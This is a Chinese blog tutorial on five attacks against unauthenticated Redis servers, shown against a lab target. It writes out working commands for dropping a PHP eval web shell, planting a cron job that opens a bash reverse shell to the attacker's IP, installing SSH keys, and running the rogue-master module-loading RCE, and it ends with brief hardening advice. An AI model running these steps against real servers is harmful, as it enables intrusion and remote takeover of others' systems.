redis 五种常见攻击方法
如果需要大佬写好的脚本,可以直接去github上面搜
参考文章:https://www.cnblogs.com/wineme/articles/11731612.html
https://www.cnblogs.com/linuxsec/articles/11221756.html <<<<——————这篇文章是利用Gopher协议对redis进行攻击,原理都一样,只不过用的不是HTTP协议,没什么太大区别
参考的资料还有群里大佬给的笔记文件
首先先得再系统上安装redis,参考文章可以看这篇,写的很详细 https://www.cnblogs.com/hunanzp/p/12304622.html
所需要了解的知识:redis安装,shell反弹原理及命令,简单的redis语法,redis主从模式了解,crontab语法
redis一定要配置好,要不没法远程登陆写shell
第一种攻击方法:未授权访问
如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

可以看到,成功连接上远程的redis服务器
第二种攻击方法:写入文件
条件:目标服务器开着web服务,且redis在web目录下有写入权利。master下执行。
原因:通过将redis数据库路径修改为php环境路径,将数据库名修改为php文件,
这个和和mysql日志提权一个道理
master:config set dir /var/www/html/ //数据保存路径
master:config set dbfilename shell.php //重命名
master:set payload "<?php phpinfo();?>"                       //新增数据     当然,也可以这么写   set payload "<?php eval ($_GET["cmd"]);?>"
master:save //保存


第三种攻击方法:利用计划任务来反弹一个shell权限。
这个原理就是redis存在远程控制漏洞,如果没有设置相关的策略比如说指定Ip登录什么的,(一般redis远程登录的密码是空的,即使有也是默认的),用户就可以通过远程登录redis。首先创建一个每隔一分钟就执行一次的反弹shell的crontab任务,再把文件变更到 /var/spool/cron/(不同版本Linux系统这个文件位置不一样)目录下,为啥要变更到这个目录下呢?因为这个目录下的文件名为root的文件是被系统默认定时执行的,(你只要按固定的语法格式写进去就好,系统会自动执行的),也就是root 用户 crontab默认存放执行文件的地方,最后再把文件名改成root,系统就会默认执行root文件中的定时任务(也就是反弹shell)
首先在攻击机设立一个nc反弹接收端。

之后执行命令,将值导出,改变导出目录以及文件名
具体代码如下:
这里咱们用本地的kali和redis服务器进行测试,环境为内网环境
root@kali:~# redis-cli -h 192.168.63.130 // 开始连接靶机
192.168.63.130:6379> set x "* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1"                                      //创建一个任务计划   这个* * * * * 的意思就是,每隔一分钟就会默认执行一下后面的语句
OK
192.168.63.130:6379> config set dir /var/spool/cron/                                            // 改变导出目录
OK
192.168.63.130:6379> config set dbfilename root                                         // 改变文件名为root
OK
192.168.63.130:6379> save                                                       //保存
OK
crontab -l 查看root用户下的crontab任务,可以看到已经成功写入

之后linux攻击机就会接收到反弹的shell了,必须是root权限,普通用户没有权限更改用户名。
这里有个知识点——/var/spool/cron/。在linux系统中crontab是定时任务的守护进程,关于crontab命令也在 分类中的Linux类知识 里面有解释说明。我们可以使用它来定时备份文件、定时执行命令等。在kali和ubantu中,其文件位置为/var/spool/cron/crontabs/root,在centos系列中位置为/var/spool/cron/root,通常情况下没有root文件,需要自己创建。
一定要注意再不同系统中,root的位置是不一样的!!!!
这里redis也可能会再最后一步命令执行也就是输入 save 的时候报错ERR,这是因为没有改root文件名权限的原因,详细过程再 分类中的Linux类知识 有解释说明

如果想真实复现漏洞的话,weblogic曾经爆出过redis 的SSRF漏洞,可以通过抓改包写入shell,控制服务器
第四种攻击方法: 写ssh-keygen公钥,直接登录
条件:redis服务使用root登录、靶机开机ssh密钥登录
(如果不了解或者忘记ssh登录的话,分类里面有对ssh的学习笔记)
$ ssh-keygen -t rsa

输入路径+文件名(回车默认)
输入明文密码

查看生成秘钥

通过redis将其写入靶机的.ssh目录下

ssh密钥远程连接

第五种攻击方法:RCE
这里是利用redis的主从模式来进行攻击,剽自大佬博客的分享。
slave翻译过来就是 奴隶 的意思
master 翻译过来就是主人的意思
这里简单复习一下redis的主从模式

redis主机成为master,redis从机成为slave,主机可读可写,从机只能读,主机更新数据,从机会从主机获取更新的数据。
条件:能够访问远程redis端口,能够设置主从模式。
这种利攻击方式由LCBC战队队员Pavel Toporkov在zeronights 2018上介绍的redis 4.x RCE攻击。和前面几种攻击方式相比,这种攻击方式更加精细巧妙,成功率也更高。
脚本地址:https://github.com/n0b0dyCN/redis-rogue-server
使用方式:python3 redis-rogue-server.py --rhost rhost --lhost lhost

这里来简单分析一下大佬的思路。这种利用方式首先要创建一个恶意redis服务器来作为master,该master服务器要能够回应连接他的slave 服务的响应。
[>] PING
[<] +PONG
[>] REPLCONF
[<] +OK
[>] PSYNC/SYNC
[<] +FULLRESYNC
如脚本所示,其中FULLRESYNC表示完整重同步,这一步是方便将master上的exp同步到slave上。

有了恶意服务器之后,先远程连接目标服务器,通过slaveof将其设置为恶意服务器的slaver。然后将dbfilename设置为exp.so。

执行slaveof命令后,主从之间要进行握手,在slaver发送PSYNC之后master回应FULLRESYNC及exp内容。大概如下:
[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$42688\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x9f\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'

master发送完exp内容后,由于主从之间采用FULLRESYNC模式,所以exp内容也会存储在slaver的数据库文件,即exp.so中。
之后在控制slaver加载模块执行即可。当然,加载完模块之后脚本也会解除主从模式、还原数据库文件。

这里脚本直接提供了shell环境。

在目标redis中查看模块可以看到加载了模块system。

当把这个模块卸载后,shell也会随之断开。

1. 最后总结
以上提到的这些漏洞,都是基于未授权访问。
写入shell、反弹shell、写入公钥几种漏洞都是利用redis数据存储这一点,在拥有高级权限和在某些环境配合下,将payload直接写入某个路径,从而达到我们的目的。但实际上redis用户的权限都不会太高,不太可能有人会直接以root权限运行redis或给redis以root权限。
最后一种方式利用了主从模式的完整全同步及模块加载,配合搭建的恶意服务器可以将exp同步到目标服务器上getshell。
和前面几种利用方式相比最后一种不需要太高的权限,但也是基于未授权访问这一点,所以在防护中首先要做到访问者ip限制,设置强密码,更改端口等。
最后感谢大佬们的分享!!!
redis 五种常见攻击方法的更多相关文章
- 五种常见的ASP.NET安全缺陷
		
保证应用程序的安全应当从编写第一行代码的时候开始做起,原因很简单,随着应用规模的发展,修补安全漏洞所需的代价也随之快速增长.根据IBM的系统科学协会(SystemsSciencesInstitute) ...
 - [转载 ]五种常见的 PHP 设计模式
		
五种常见的 PHP 设计模式 策略模式 策略模式是对象的行为模式,用意是对一组算法的封装.动态的选择需要的算法并使用. 策略模式指的是程序中涉及决策控制的一种模式.策略模式功能非常强大,因为这个设计模 ...
 - redis五种数据类型的使用(zz)
		
redis五种数据类型的使用 redis五种数据类型的使用 (摘自:http://tech.it168.com/a2011/0818/1234/000001234478_all.shtml ) 1.S ...
 - redis五种数据类型的使用
		
redis五种数据类型的使用 redis五种数据类型的使用 (摘自:http://tech.it168.com/a2011/0818/1234/000001234478_all.shtml ) 1.S ...
 - redis五种数据类型的使用场景
		
string 1.String 常用命令: 除了get.set.incr.decr mget等操作外,Redis还提供了下面一些操作: 获取字符串长度 往字符串append内容 设置和获取字符串的某一 ...
 - php防止sql注入漏洞代码 && 几种常见攻击的正则表达式
		
注入漏洞代码和分析 ...
 - Redis(一)、Redis五种数据结构
		
Redis五种数据结构如下: 对redis来说,所有的key(键)都是字符串. 1.String 字符串类型 是redis中最基本的数据类型,一个key对应一个value. String类型是二进制安 ...
 - 最全的Java操作Redis的工具类,使用StringRedisTemplate实现,封装了对Redis五种基本类型的各种操作!
		
转载自:https://github.com/whvcse/RedisUtil 代码 ProtoStuffSerializerUtil.java import java.io.ByteArrayInp ...
 - Redis五种数据结构简介
		
Redis五种结构 1.String 可以是字符串,整数或者浮点数,对整个字符串或者字符串中的一部分执行操作,对整个整数或者浮点执行自增(increment)或者自减(decrement)操作. 字符 ...
 
随机推荐
- 如何使用iMindMap制作更专业的时间计划
			
时间计划无论是在日常生活中,还是在工作中,都显得极为重要.小到每周的购物时间规划,大到大型项目的时间管理,时间计划都会如影随形.虽然时间计划很重要,但很多人都会忽视这种重要性,可能只会在台本日历上作一 ...
 - 【VUE】3.表单操作
			
1. Form组件渲染 1. components -> 新增组件Form.vue <template> <div>表单验证</div> </templ ...
 - 多元Huffman编码变形—回溯法
			
一.问题描述 描述 在一个操场的四周摆放着n堆石子.现要将石子有次序地合并成一堆.规定在合并过程中最多可以有m(k)次选k堆石子合并成新的一堆,2≤k≤n,合并的费用为新的一堆的石子数.试设计一个算法 ...
 - 【操作系统】银行家算法实现(C语言)
			
[操作系统]银行家算法实现(C语言) 注意:本人编码水平很菜.算是自己的一个总结.可能会有我还没有发现的bug.如果有人发现后可以指出,不胜感激. 1.银行家算法: 我们可以把操作系统看作是银行家,操 ...
 - 【佛山市选2013】JZOJ2020年8月7日T4 排列
			
[佛山市选2013]JZOJ2020年8月7日T4 排列 题目 描述 一个关于n个元素的排列是指一个从{1, 2, -, n}到{1, 2, -, n}的一一映射的函数.这个排列p的秩是指最小的k,使 ...
 - socket阻塞与非阻塞,同步与异步,select,pool,epool
			
概念理解 一.与I/O相关的五个重要概念 1. 第一个概念:用户空间与内核空间 1. 现在操作系统都是采用虚拟存储器,那么对32位操作系统而言,它的寻址空间(虚拟存储空间)为4G(2的32次方) 2. ...
 - MongoEngine模块
			
今儿,接到老的的要求,要把新功能的数据存放在Mongo里.虽然一直都有听过Mango的鼎鼎大名,但是那也只是见过没用过,跟个小白没啥区别.在加上功能急需,没办法只能赶鸭子上架先上再说.下面这篇就是我赶 ...
 - Executor类
			
//测试的线程 public class Record implements Run ...
 - 在Python实现print标准输出sys.stdout、stderr重定向及捕获的简单办法
			
专栏:Python基础教程目录 专栏:使用PyQt开发图形界面Python应用 专栏:PyQt入门学习 老猿Python博文目录 Python中的标准输出和错误输出由sys模块的stdout.stde ...
 - 第15.38节 PyQt(Python+Qt)入门学习:containers容器类部件QDockWidget停靠窗功能详解
			
专栏:Python基础教程目录 专栏:使用PyQt开发图形界面Python应用 专栏:PyQt入门学习 老猿Python博文目录 一.概述 QDockWidget类提供了一个可以停靠在QMainWin ...